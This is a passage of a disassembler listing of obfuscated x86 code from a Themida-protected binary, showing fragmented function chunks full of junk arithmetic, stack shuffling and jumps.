; ---------------------------------------------------------------------------


loc_5AB5AA:				; CODE XREF: Themida_:005A3E99j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 554667F5h
		and	esi, 1CD5170h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A0ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AB5C9:				; CODE XREF: sub_5A8C33-1A90j
		xchg	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], edx
		push	ebp
		jmp	loc_59E14E
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AB5D8:				; CODE XREF: sub_59A932+9196j
		pop	edi
		add	ebp, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_598DBF
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D151


loc_5AB5F0:				; CODE XREF: sub_59D151:loc_59BBAEj
		dec	ebx
		jmp	loc_5AC839
; END OF FUNCTION CHUNK	FOR sub_59D151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AB5F6:				; CODE XREF: sub_59D99C-428Cj
		add	edi, 92064589h
		jmp	loc_598055
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_5AB601	proc near		; DATA XREF: Themida_:00597970o

var_4		= word ptr -4
var_2		= word ptr -2

; FUNCTION CHUNK AT 005A3F3C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A6586 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A6A36 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005ADAFC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005ADC7D SIZE 0000002C BYTES

		push	small 79AAh
		push	sp
		jmp	loc_5A6A36
sub_5AB601	endp

; ---------------------------------------------------------------------------


loc_5AB60C:				; CODE XREF: Themida_:005AAB73j
		push	7C2Eh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_59EBF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5AB626:				; CODE XREF: sub_5AE6FD-E468j
		mov	[esp+0], edi
		push	esp
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	esi
		push	eax
		push	575054E1h
		pop	eax
		xor	eax, 1CFE44B6h
		mov	esi, eax
		jmp	loc_5A456A
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_5AB647:				; CODE XREF: Themida_:00598004j
		push	346Bh
		mov	[esp], eax
		jmp	loc_59FDE4
; ---------------------------------------------------------------------------


loc_5AB654:				; CODE XREF: Themida_:005A11DAj
		pop	ecx
		jmp	loc_59F947
; ---------------------------------------------------------------------------


loc_5AB65A:				; CODE XREF: Themida_:0059DAF3j
		inc	edx
		sub	edx, 0C7B182DAh
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		jmp	loc_5ACCAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5AB683:				; CODE XREF: sub_5AE6FD-C166j
		push	edx
		mov	dl, 0CBh
		sub	dl, 14h
		shr	dl, 7
		jmp	loc_5A9E35
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AB691:				; CODE XREF: sub_5AC95F-127F8j
					; Themida_:005A0334j
		sub	ebx, 36AD5A4Ah
		jmp	loc_59DC27
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_5AB69C:				; CODE XREF: sub_5A879C-2EDDj
		add	ecx, 3C9C7C82h
		xor	ecx, 4F7BE862h
		mov	edi, ecx
		pop	ecx
		jmp	loc_59B173
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5AB6B0:				; CODE XREF: sub_5A34FD-A82Bj
		add	esp, 4
		and	dh, 39h
		jmp	loc_598437
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AB6BE:				; CODE XREF: sub_5ACD64-A14Bj
		mov	[esp-10h+arg_C], ecx
		mov	ecx, 13BE41AFh
		push	2324h
		mov	[esp-0Ch+arg_8], esi
		push	3D0E1F23h
		push	[esp-8+arg_4]
		jmp	loc_5AE1C7
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5AB6DB:				; CODE XREF: Themida_:005A2ECEj
					; Themida_:005A83E7j
		xor	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5A403E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADB3A


loc_5AB6E7:				; CODE XREF: sub_5ADB3A-6C08j
		or	edx, 11A665FBh
		sub	edx, 2FD36CDCh
		xor	edx, 349B501Bh
		or	edx, 638A28F1h
		add	edx, 8C30960Bh
		add	ebp, edx
		pop	edx
		jmp	loc_59FD8F
; END OF FUNCTION CHUNK	FOR sub_5ADB3A
; ---------------------------------------------------------------------------


loc_5AB70D:				; CODE XREF: Themida_:0059CDD0j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1CE10E82h
		or	edx, 65F8422Eh
		inc	edx
		jmp	loc_597D00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5AB724:				; CODE XREF: sub_5AB3DC-8A8Fj
					; sub_5AB601+2508j
		shr	ax, 6
		jmp	loc_5A9481
; END OF FUNCTION CHUNK	FOR sub_5AB3DC

; =============== S U B	R O U T	I N E =======================================



sub_5AB72D	proc near		; CODE XREF: sub_59E35B-1031j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00597C92 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C90C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059E356 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A04FD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A3EB4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A5EAE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A5EDD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ABA1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005ABF37 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AC5FE SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005ACC29 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AE107 SIZE 00000013 BYTES

		push	ebx
		mov	ebx, 44630C10h
		sub	edx, ebx
		jmp	loc_5A5EAE
sub_5AB72D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AB73A:				; CODE XREF: sub_5A8C33-46F8j
					; sub_5ABE52+240Cj ...
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_598428
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5AB743:				; CODE XREF: sub_598D67+7EA0j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		jmp	loc_59B9F0
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AB757:				; CODE XREF: sub_5A1B2A-85Bj
		mov	ebx, 4
		add	esi, 65BD0C79h
		add	esi, ebx
		jmp	loc_5A62DF
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5AB769:				; CODE XREF: Themida_:0059C94Fj
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D00D


loc_5AB76E:				; CODE XREF: sub_59D00D+B3CFj
		js	loc_5A3519
		add	ecx, 0A1400427h
		jmp	loc_5A2726
; END OF FUNCTION CHUNK	FOR sub_59D00D
; ---------------------------------------------------------------------------


loc_5AB77F:				; CODE XREF: Themida_:0059DD32j
					; Themida_:005AC7ABj
		and	dl, 0FDh
		or	dl, 0B2h
		jmp	loc_59C044
; ---------------------------------------------------------------------------


loc_5AB78A:				; DATA XREF: Themida_:00597904o
		mov	esp, [esp]
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5AB792:				; CODE XREF: sub_5A438E-9F77j
		pop	edi
		pop	ecx
		add	ebx, 4F3C2ED0h
		jmp	loc_5A2253
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AB79F:				; CODE XREF: sub_5A91EC+5D77j
		mov	[esp-20h+arg_1C], ebx
		push	esp
		mov	ebx, [esp-1Ch+arg_18]
		jmp	loc_59D882
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5AB7AB:				; CODE XREF: sub_5AB3DC-BAE2j
		mov	eax, 82ABD7CCh
		mov	edx, eax
		jmp	loc_59D39E
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_5AB7B7:				; CODE XREF: Themida_:005AF100j
		add	eax, 24ED2968h
		jmp	loc_5984B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AB7C1:				; CODE XREF: sub_5A7343-5970j
		and	edx, 7DC14B78h
		jnp	loc_5A2300
		add	edx, 0C7B871ADh
		push	edx
		jmp	loc_5A224B
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AB7D9:				; CODE XREF: sub_5A8D43+167Aj
		pop	edx
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		jmp	loc_5A201C
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5AB7EC:				; CODE XREF: Themida_:00598754j
					; sub_59ACEC+13299j
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ecx
		add	ecx, 4
		jmp	sub_59EE57
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB511


loc_5AB7FF:				; CODE XREF: sub_5AB511-3054j
		add	esi, edx
		pop	edx
		jmp	loc_5A6AB8
; END OF FUNCTION CHUNK	FOR sub_5AB511
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AB807:				; CODE XREF: sub_5A8C33+4C2Aj
		sub	ebx, 66B57914h
		xor	ebx, 3FD37E21h
		dec	ebx
		push	esi
		mov	esi, 2DF53ED5h
		jmp	loc_5A7365
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AB81F:				; CODE XREF: sub_5A91EC-1104Aj
		pop	edx
		push	edi
		pop	edx
		pop	edi
		push	60A5h
		mov	[esp-8+arg_4], edx
		add	[esp-8+arg_4], 25327F07h
		jmp	loc_5AC19D
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AB837:				; CODE XREF: sub_599059-6B4j
		xor	cl, al
		pop	ax
		push	edx
		push	eax
		jmp	loc_599B8C
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AB842:				; CODE XREF: sub_5AC95F-D7DAj
		add	esp, 4
		pop	dword ptr [esp+0]
		jmp	loc_5A10B6
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5981F9


loc_5AB84D:				; CODE XREF: sub_5981F9+57BDj
		add	[esp+4], ebp
		pop	ebp
		add	[esp+0], eax
		push	32C4h
		mov	[esp+4+var_4], edi
		mov	edi, 519F2245h
		jmp	loc_5A4D61
; END OF FUNCTION CHUNK	FOR sub_5981F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AB867:				; CODE XREF: sub_5AC95F-7E30j
		add	esp, 4
		add	ebp, ebx
		jmp	loc_59B898
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3CE


loc_5AB871:				; CODE XREF: sub_59B3CE+E7A3j
		push	esp
		pop	ebp
		push	edx
		jmp	loc_5ABCC0
; END OF FUNCTION CHUNK	FOR sub_59B3CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5AB879:				; CODE XREF: sub_5ABF4A-2F64j
					; Themida_:005AA8E0j
		pop	esi
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 71847ACFh
		xor	edx, 71847ACBh
		jmp	loc_5AC8B7
; END OF FUNCTION CHUNK	FOR sub_5ABF4A

; =============== S U B	R O U T	I N E =======================================



sub_5AB88E	proc near		; CODE XREF: sub_5A10EF+84ACj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005984E9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059A24A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059A71D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059B0E7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059B7D5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CC17 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059D1EB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059F9D5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059FE9A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A0091 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A06EB SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A0C62 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A134D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A18D3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A1E40 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1F12 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2128 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A23D1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A284C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A28CC SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A2F2B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4D90 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A56BD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A64DB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A740D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A789F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A8690 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A87DC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A974C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A9D92 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AA1AE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE3E1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE93B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AF1C0 SIZE 0000000E BYTES

		push	ebp
		jmp	loc_59B0E7
sub_5AB88E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5AB894:				; CODE XREF: Themida_:005A544Bj
		mov	eax, esp
		jmp	loc_5AE17C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AB89B:				; CODE XREF: sub_5A8D43+1F1Cj
		push	ecx
		mov	ecx, 490852A1h
		xor	eax, ecx
		pop	ecx
		push	edx
		jmp	loc_59A901
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_5AB8AA:				; CODE XREF: sub_5A4F3D+19ABj
		and	edi, 80E081Fh
		jns	loc_5A7066
		jmp	loc_598428
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		mov	esi, edx
		mov	bh, 7Ah


loc_5AB8C5:				; CODE XREF: Themida_:005AA6A5j
		add	edx, ebx
		jmp	loc_5AAE9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D663


loc_5AB8CC:				; CODE XREF: sub_59D663+AA2j
		shl	edx, 1
		jmp	sub_59ACEC
; END OF FUNCTION CHUNK	FOR sub_59D663
; ---------------------------------------------------------------------------


loc_5AB8D3:				; CODE XREF: Themida_:005A436Cj
		push	esp
		pop	esi
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		jmp	loc_59DD6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AB8F9:				; CODE XREF: sub_5A8C33-4E67j
		mov	[esp+8+var_8], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5ABB69
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AB909:				; CODE XREF: sub_599059+3140j
		push	eax
		mov	eax, ebp
		mov	esi, eax
		pop	eax
		mov	ebp, [esp-0Ah+arg_6]
		add	esp, 4
		add	edx, esi
		jmp	loc_59F584
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5AB91F:				; CODE XREF: sub_598D67+A977j
		mov	edx, 4
		jmp	loc_5A3CA5
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AB929:				; CODE XREF: sub_5A8D43-FE67j
					; sub_599059:loc_59CF9Bj
		mov	[esp+4+var_4], esi
		push	4E38h
		mov	[esp+8+var_8], esp
		jmp	loc_5A4DB8
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AB939:				; CODE XREF: sub_59A932+D1Ej
		add	ecx, ebx
		sub	ecx, 309D386Ch
		jmp	loc_59FA3A
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AB946:				; CODE XREF: sub_5A8D43-584Bj
		xor	edx, [esp+10h+var_10]
		xor	[esp+10h+var_10], edx
		xor	edx, [esp+10h+var_10]
		pop	esp
		sub	word ptr [esp+0Ch+var_C], ax
		pushf
		jmp	loc_5A8A92
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5AB95A:				; CODE XREF: sub_59EB21+E417j
		mov	[esp+0], esi
		push	ebx
		push	[esp+4+var_4]
		pop	esi
		add	esp, 4
		mov	ebx, [esp+0]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_5A5CED
; END OF FUNCTION CHUNK	FOR sub_59EB21

; =============== S U B	R O U T	I N E =======================================



sub_5AB98B	proc near		; CODE XREF: sub_59BC90-48Dj

var_2		= word ptr -2
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

; FUNCTION CHUNK AT 00597B93 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00598641 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598CE8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00599EEC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A59F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059A788 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B38F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059B984 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059BD9F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C352 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059D749 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059DE62 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059EC31 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F6D1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059F910 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A0264 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A0311 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A16FE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2966 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A39EC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A425F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4D89 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A6A28 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7871 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A93F4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A94B0 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 005A9775 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A9E64 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AAC20 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ACE9C SIZE 0000000E BYTES

		push	ebx
		mov	bl, 0B0h
		push	dx
		mov	dh, 3Bh
		or	bl, dh
		jmp	loc_59B38F
sub_5AB98B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AB999:				; CODE XREF: sub_5A7343:loc_59D580j
					; sub_5A0F44+141Dj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], eax
		mov	eax, 193C72AAh
		push	esi
		mov	esi, 1DBF1633h
		sub	esi, 0FFFFFFFFh
		shr	esi, 7
		push	edi
		mov	edi, 0
		sub	edi, esi
		jmp	loc_5AA1B6
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AB9CB:				; CODE XREF: sub_5AC95F-BFB1j
		add	esi, ebp
		mov	ebp, [esp-8+arg_4]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-4+arg_0]
		pop	esp
		jmp	loc_5A343F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AB9E5:				; CODE XREF: sub_5A8D43-5D2Fj
		sub	al, bl
		pop	bx
		add	al, cl
		add	al, 8Dh
		sub	al, 0Eh
		mov	ecx, [esp+0]
		sub	esp, 4
		jmp	loc_59895B
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_5AB9FD:				; CODE XREF: sub_59B923+80F5j
		mov	[esp+8+var_8], edi
		mov	edi, 5BDF1D45h
		sub	edi, 6A2334BFh
		jbe	loc_5A8CFA
		jmp	loc_5A6B8C
; END OF FUNCTION CHUNK	FOR sub_59B923
; ---------------------------------------------------------------------------
		push	4288h
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_5ABA1B:				; CODE XREF: sub_5AB72D:loc_597C92j
		jmp	loc_59C90C
; END OF FUNCTION CHUNK	FOR sub_5AB72D
; ---------------------------------------------------------------------------


loc_5ABA20:				; CODE XREF: Themida_:0059E80Fj
		pop	edi
		jmp	loc_5AD262
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2735


loc_5ABA26:				; CODE XREF: sub_5A2735+3EAFj
		mov	edx, 7BFD5F7Fh
		jmp	loc_5A7141
; END OF FUNCTION CHUNK	FOR sub_5A2735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_5ABA30:				; CODE XREF: sub_5A6DA1-D863j
		add	dword ptr [esp+0], 4
		pop	ecx
		push	eax
		mov	eax, 50CE6B48h
		or	eax, 72C67502h
		not	eax
		sub	eax, 7CFE4F1Ah
		sub	eax, 10333197h
		add	ecx, eax
		pop	eax
		jmp	loc_5A2CD9
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5ABA57:				; CODE XREF: sub_59D99C+801Ej
		push	eax
		jmp	loc_598E79
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_5ABA5D:				; CODE XREF: sub_59DBFF+AE74j
		mov	esp, [esp+14h+var_14]
		jmp	loc_5AD5B7
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A20F9


loc_5ABA65:				; CODE XREF: sub_5A20F9-8027j
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		popa
		popf
		retn
; END OF FUNCTION CHUNK	FOR sub_5A20F9
; ---------------------------------------------------------------------------
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5ABA74:				; CODE XREF: Themida_:005A8D73j
					; DATA XREF: Themida_:00597900o
		mov	cx, [esp]
		jmp	loc_599458
; ---------------------------------------------------------------------------


loc_5ABA7D:				; CODE XREF: Themida_:005AF05Cj
		pop	esp
		jmp	loc_59C08B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE919


loc_5ABA83:				; CODE XREF: sub_5AE919-16679j
					; Themida_:005A7007j
		mov	edi, 6DEA25F0h
		sub	esp, 4
		jmp	loc_59B2EA
; END OF FUNCTION CHUNK	FOR sub_5AE919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5ABA93:				; CODE XREF: sub_59EE40-6804j
		add	esi, eax
		pop	eax
		jmp	loc_59DA4B
; END OF FUNCTION CHUNK	FOR sub_59EE40

; =============== S U B	R O U T	I N E =======================================



sub_5ABA9B	proc near		; CODE XREF: sub_5A594B-7D8Aj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005995C1 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00599E1B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059ABF8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AEC0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BBB3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D84D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059F67F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A125E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A251B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A38BE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A4015 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A489A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A4E50 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005A69D4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A873D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A925E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A9B9B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AA3D8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AACDA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AC701 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005ACE2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD1D9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AE23A SIZE 0000000F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, esp
